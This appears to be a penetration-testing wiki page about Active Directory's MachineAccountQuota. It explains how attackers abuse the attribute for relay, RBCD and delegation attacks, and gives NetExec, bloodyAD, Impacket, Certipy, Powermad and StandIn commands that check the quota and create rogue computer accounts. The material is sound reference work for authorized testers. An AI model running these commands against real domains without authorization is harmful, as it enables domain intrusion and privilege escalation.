MachineAccountQuota
Theory
MachineAccountQuota (MAQ) is a domain level attribute that by default permits unprivileged users to attach up to 10 computers to an Active Directory (AD) domain (source)
Practice
There are multiple ways attackers can leverage that power.
- Force client authentications, relay those authentications to domain controllers using LDAPS, and take advantage of authenticated sessions to create a domain computer account. This account can then be used as a foothold on the AD domain to operate authenticated recon (i.e. with BloodHound for example)
- Create a computer account and use it for Kerberos RBCD attacks when leveraging owned accounts with sufficient permissions (i.e. ACEs like
GenericAll,GenericWriteorWriteProperty) against a target machine - Create a computer account and use it for a Kerberos Unconstrained Delegation attack when leveraging owned accounts with sufficient permissions (i.e. the
SeEnableDelegationPrivilegeuser right) - Profit from special rights that members of the Domain Computers group could inherit
- Profit from special rights that could automatically be applied to new domain computers based on their account name
Check the value
::: tabs
=== UNIX-like
The MachineAccountQuota module (for NetExec (Python)) can be used to check the value of the MachineAccountQuota attribute:
nxc ldap $DOMAIN_CONTROLLER -d $DOMAIN -u $USER -p $PASSWORD -M maq
Alternatively, it can be done manually with the Python library ldap3 (source):
import ldap3
target_dn = "DC=domain,DC=local" # change this
domain = "domain" # change this
username = "username" # change this
password = "password" # change this
user = "{}\\{}".format(domain, username)
server = ldap3.Server(domain)
connection = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
connection.bind()
connection.search(target_dn,"(objectClass=*)", attributes=['ms-DS-MachineAccountQuota'])
print(connection.entries[0])
With bloodyAD (Python):
bloodyad -d $DOMAIN -u $USER -p $PASSWORD --host $DOMAIN_CONTROLLER get object 'DC=acme,DC=local' --attr ms-DS-MachineAccountQuota
With ldeep (Python):
ldeep ldap -d $DOMAIN -u $USER -p $PASSWORD -s $DOMAIN_CONTROLLER search '(objectclass=domain)' | jq '.[]."ms-DS-MachineAccountQuota"'
With ldapsearch (openldap (C)):
ldapsearch -x -H ldap://$DOMAIN_CONTROLLER -b 'DC=acme,DC=local' -D "$USER@$DOMAIN" -W -s sub "(objectclass=domain)" | grep ms-DS-MachineAccountQuota
=== Windows
In order to run the following commands and tools as other users, testers can check the user impersonation part.
The following command, using the PowerShell ActiveDirectory module's cmdlets Get-ADDomain and Get-ADObject, will help testers make sure the controlled domain user can create computer accounts (the MachineAccountQuota domain-level attribute needs to be set higher than 0. It is set to 10 by default).
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'
FuzzSecurity's StandIn project is an alternative in C# (.NET assembly) to perform some AD post-compromise operations. Among the possible actions, the MAQ attribute can be requested (source).
StandIn.exe --object ms-DS-MachineAccountQuota=*
Another alternative is to use the Invoke-PassTheCert fork, authenticating through Schannel via PassTheCert (PowerShell).
Note: the README contains the methodology to request a certificate using certreq from Windows (with a password, or an NTHash).
# Import the PowerShell script and show its manual Import-Module .\Invoke-PassTheCert.ps1 .\Invoke-PassTheCert.ps1 -? # Authenticate to LDAP/S $LdapConnection = Invoke-PassTheCert-GetLDAPConnectionInstance -Server 'LDAP_IP' -Port 636 -Certificate cert.pfx # List all the available actions Invoke-PassTheCert -a -NoBanner # Returns all the objects of class `domain` in the `ADLAB.LOCAL` domain, and extracts the MAQ attribute Invoke-PassTheCert -Action 'Filter' -LdapConnection $LdapConnection -SearchBase 'DC=ADLAB,DC=LOCAL' -SearchScope Subtree -Properties * -LDAPFilter '(objectClass=domain)' |Select-Object distinguishedName,ms-DS-MachineAccountQuota # Disable the account 'CN=COMPUTATOR,CN=Computers,DC=X' Invoke-PassTheCert -Action 'DisableAccount' -LdapConnection $LdapConnection -Identity 'CN=COMPUTATOR,CN=Computers,DC=X' # Delete the object 'CN=COMPUTATOR,CN=Computers,DC=X' Invoke-PassTheCert -Action 'DeleteObject' -LdapConnection $LdapConnection -Object 'CN=COMPUTATOR,CN=Computers,DC=X'
:::
Create a computer account
::: tabs
=== UNIX-like
The Impacket script addcomputer (Python) can be used to create a computer account, using the credentials of a domain user the the MachineAccountQuota domain-level attribute is set higher than 0 (10 by default).
addcomputer.py -computer-name 'SomeName$' -computer-pass 'SomePassword' -dc-host "$DC_HOST" -domain-netbios "$DOMAIN" "$DOMAIN"/"$USER":"$PASSWORD"
addcomputer.py also has an option -computer-group for adding a group to which the account will be added. Because if omitted, the group CN=Computers will be used by default.
Testers can also use ntlmrelayx (Python) instead with the --add-computer option, like this
KrbRestrictedHost/hostname
KrbRestrictedHost/hostname.domain_fqdn
Host/hostname
Host/hostname.domain_fqdn
With bloodyAD (Python):
bloodyad -d "$DOMAIN" -u "$USER" -p "$PASSWORD" --host "$DC_HOST" add computer 'SomeName$' 'SomePassword'
With ldeep (Python):
ldeep ldap -u "$USER" -p "$PASSWORD" -d "$DOMAIN" -s ldap://"$DC_HOST" create_computer 'SomeName$' 'SomePassword'
With Certipy (Python):
certipy account create -username "$USER"@"$DOMAIN" -password "$PASSWORD" -dc-ip "$DC_HOST" -user 'SomeName$' -pass 'SomePassword' -dns 'SomeDNS'
Certipy also offers option to set the UPN (-upn), SAM account name (-sam), SPNS (-spns) while creating the computer.
=== Windows
The Powermad module (PowerShell) can be used to create a domain computer account.
$password = ConvertTo-SecureString 'SomePassword' -AsPlainText -Force
New-MachineAccount -MachineAccount 'PENTEST01' -Password $($password) -Verbose
While the machine account can only be deleted by domian administrators, it can be deactivated by the creator account with the following command using the Powermad module.
Disable-MachineAccount -MachineAccount 'PENTEST01' -Verbose
An alternative is to use FuzzSecurity's StandIn (C#, .NET assembly) project to create a new password account with a random password, disable the account, or delete it (with elevated privileges):
# Create the account
StandIn.exe --computer 'PENTEST01' --make
# Disable the account
StandIn.exe --computer 'PENTEST01' --disable
# Delete the account (requires elevated rights)
StandIn.exe --computer 'PENTEST01' --delete
:::
Resources
https://blog.netspi.com/machineaccountquota-is-useful-sometimes/